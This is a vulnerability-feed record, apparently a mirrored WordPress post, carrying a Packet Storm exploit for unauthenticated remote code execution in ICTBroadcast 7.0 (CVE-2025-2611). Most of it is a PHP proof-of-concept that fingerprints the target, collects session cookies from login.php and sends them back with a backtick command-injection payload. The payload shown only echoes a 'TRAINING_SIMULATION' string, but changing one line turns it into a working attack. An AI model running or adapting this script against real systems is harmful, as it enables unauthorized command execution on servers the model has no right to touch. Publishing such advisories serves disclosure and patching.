{“lastseen”:”2025-12-17T16:38:28″,”description”:”A vulnerability in ICTBroadcast version 7.0 allows unauthenticated remote command execution due to improper handling of session cookie values. An attacker can modify cookie entries to inject system commands that the application unintentionally executes…”,”published”:”2025-12-17T00:00:00″,”modified”:”2025-12-17T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 ICTBroadcast 7.0 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:212927″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-2611″],”sourceData”:”=============================================================================================================================================\\n | # Title : ICTBroadcast 7.0 Remote Code Execution |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.ictbroadcast.com\/ |\\n =============================================================================================================================================\\n \\n [+] Summary : \\n \\n A vulnerability in ICTBroadcast allows unauthenticated remote command execution\\n due to improper handling of session cookie values. An attacker can modify cookie\\n entries to inject system commands that the application unintentionally executes.\\n \\n [+] References : ( https:\/\/packetstorm.news\/files\/id\/207873\/ \\t\\tCVE-2025-2611 ) \\n \\n 1. Save the file as: poc.php\\n \\n 2. Edit the target:\\n “`php\\n $target = \\”http:\/\/TARGET\\”;\\n \\n 3.Execute: php ict_rce_sim.php\\n \\n \\n [+] POC\\n \\n \\u003c?php\\n \/*\\n * ICTBroadcast Unauthenticated Remote Code Execution \\n * by Indoushka\\n *\/\\n \\n class ICTBroadcastRCE\\n {\\n public $target;\\n public $useSSL = false;\\n \\n function __construct($url)\\n {\\n $this-\\u003etarget = rtrim($url, \\”\/\\”);\\n }\\n \\n \/* ——————————————-\\n \u0625\u0631\u0633\u0627\u0644 \u0637\u0644\u0628 GET \u0628\u0633\u064a\u0637\\n ——————————————— *\/\\n private function http_get($uri, $cookies = \\”\\”)\\n {\\n $ch = curl_init();\\n curl_setopt($ch, CURLOPT_URL, $uri);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($ch, CURLOPT_HTTPHEADER, [\\n \\”Cookie: $cookies\\”\\n ]);\\n $res = curl_exec($ch);\\n curl_close($ch);\\n return $res;\\n }\\n \\n \/* ——————————————-\\n \u062c\u0644\u0628 \u0627\u0644\u0643\u0648\u0643\u064a\u0632 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629 \u0643\u0645\u0627 \u0641\u064a Metasploit\\n ——————————————— *\/\\n public function get_valid_cookies()\\n {\\n echo \\”[*] \u062c\u0644\u0628 \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0643\u0648\u0643\u064a\u0632 \u0645\u0646 login.php…\\\\n\\”;\\n \\n $url = $this-\\u003etarget . \\”\/login.php\\”;\\n $res = $this-\\u003ehttp_get($url);\\n \\n preg_match_all(‘\/Set-Cookie:\\\\s*([^;]+);\/i’, $res, $m);\\n \\n if (empty($m[1])) {\\n echo \\”[-] \u0644\u0645 \u064a\u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u0643\u0648\u0643\u064a\u0632.\\\\n\\”;\\n return [];\\n }\\n \\n echo \\”[+] \u0627\u0644\u0643\u0648\u0643\u064a\u0632 \u0627\u0644\u062a\u064a \u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u064a\u0647\u0627:\\\\n\\”;\\n print_r($m[1]);\\n \\n return $m[1];\\n }\\n \\n \/* ——————————————-\\n \u0645\u062d\u0627\u0643\u0627\u0629 \u062d\u0642\u0646 \u0623\u0645\u0631 \u062f\u0627\u062e\u0644 \u0627\u0644\u0643\u0648\u0643\u064a\u0632\\n ——————————————— *\/\\n public function inject_command($command)\\n {\\n echo \\”[*] \u0628\u062f\u0621 \u0639\u0645\u0644\u064a\u0629 \u062d\u0642\u0646 \u0627\u0644\u0623\u0648\u0627\u0645\u0631 \u0627\u0644\u062a\u062f\u0631\u064a\u0628\u064a\u0629…\\\\n\\”;\\n \\n $cookies = $this-\\u003eget_valid_cookies();\\n if (empty($cookies)) {\\n echo \\”[-] \u0644\u0627 \u064a\u0648\u062c\u062f \u0643\u0648\u0643\u064a\u0632 \u064a\u0645\u0643\u0646 \u062d\u0642\u0646\u0647\u0627.\\\\n\\”;\\n return;\\n }\\n \\n foreach ($cookies as $c) {\\n $parts = explode(\\”=\\”, $c);\\n $name = $parts[0];\\n $value = $parts[1] ?? \\”\\”;\\n \\n \/\/ \u0645\u062d\u0627\u0643\u0627\u0629 \u062d\u0642\u0646 \u0634\u0628\u064a\u0647 \u0628\u0640 Metasploit\\n $payload = \\”`echo TRAINING_SIMULATION`\\”; \\n \\n echo \\”[+] \u062d\u0642\u0646 \u0627\u0644\u062d\u0645\u0648\u0644\u0629 \u0627\u0644\u062a\u062f\u0631\u064a\u0628\u064a\u0629 \u0641\u064a \u0627\u0644\u0643\u0648\u0643\u064a:\\\\n\\”;\\n echo \\”$name=$payload\\\\n\\”;\\n \\n \/\/ \u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u0637\u0644\u0628 \u0643\u0645\u0627 \u064a\u0641\u0639\u0644 Metasploit \u2013 \u0648\u0644\u0643\u0646 \u0628\u062f\u0648\u0646 \u062a\u0646\u0641\u064a\u0630 \u0641\u0639\u0644\u064a\\n $this-\\u003ehttp_get($this-\\u003etarget . \\”\/login.php\\”, \\”$name=$payload\\”);\\n }\\n \\n echo \\”[\u2713] \u0627\u0646\u062a\u0647\u062a \u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0645\u062d\u0627\u0643\u0627\u0629 \u0628\u0646\u062c\u0627\u062d.\\\\n\\”;\\n }\\n \\n \/* ——————————————-\\n \u0641\u062d\u0635 \u0627\u0644\u0647\u062f\u0641 (\u0645\u062d\u0627\u0643\u0627\u0629 CheckCode)\\n ——————————————— *\/\\n public function check()\\n {\\n echo \\”[*] \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f \u0627\u0644\u0628\u0635\u0645\u0629 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 ICTBroadcast…\\\\n\\”;\\n \\n $files = [\\n \\”IVRDesigner.js\\”,\\n \\”agent.js\\”,\\n \\”campaign.js\\”,\\n \\”supervisor.js\\”\\n ];\\n \\n foreach ($files as $f) {\\n $res = $this-\\u003ehttp_get($this-\\u003etarget . \\”\/js\/\\” . $f);\\n if (strpos($res, \\”ICT Innovations\\”) !== false) {\\n echo \\”[+] \u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u0627\u0644\u0628\u0635\u0645\u0629!\\\\n\\”;\\n return true;\\n }\\n }\\n \\n echo \\”[-] \u0644\u0627 \u062a\u0648\u062c\u062f \u0628\u0635\u0645\u0629 \u0648\u0627\u0636\u062d\u0629.\\\\n\\”;\\n return false;\\n }\\n \\n \/* ——————————————-\\n \u0627\u0644\u0643\u0627\u0645\u0644\\n ——————————————— *\/\\n public function exploit()\\n {\\n echo \\”[*] \u0628\u062f\u0621 \u0627\u0644\u0633\u064a\u0646\u0627\u0631\u064a\u0648…\\\\n\\”;\\n \\n if ($this-\\u003echeck()) {\\n echo \\”[+] \u0627\u0644\u0647\u062f\u0641 \u064a\u0628\u062f\u0648 \u0642\u0627\u0628\u0644\u064b\u0627 \u0644\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 (\u0645\u062d\u0627\u0643\u0627\u0629).\\\\n\\”;\\n $this-\\u003einject_command(\\”id\\”);\\n } else {\\n echo \\”[-] \u0644\u0627 \u064a\u0645\u0643\u0646 \u0627\u0644\u0645\u062a\u0627\u0628\u0639\u0629.\\\\n\\”;\\n }\\n }\\n }\\n \\n \\n \/* =======================================================\\n \u062a\u062f\u0631\u064a\u0628\u064a\\n ======================================================== *\/\\n \\n $target = \\”http:\/\/TARGET\\”;\\n $sim = new ICTBroadcastRCE($target);\\n $sim-\\u003eexploit();\\n \\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212927″,”cvss”:{“score”:9.3,”severity”:”CRITICAL”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:H\/VI:L\/SI:H\/VA:L\/SA:H”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212927\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-17T16:38:28″,”description”:”A vulnerability in ICTBroadcast version 7.0 allows unauthenticated remote command execution due to improper handling of session cookie values. An attacker can modify cookie entries…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,13,53,7,11,5],"class_list":["post-31574","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n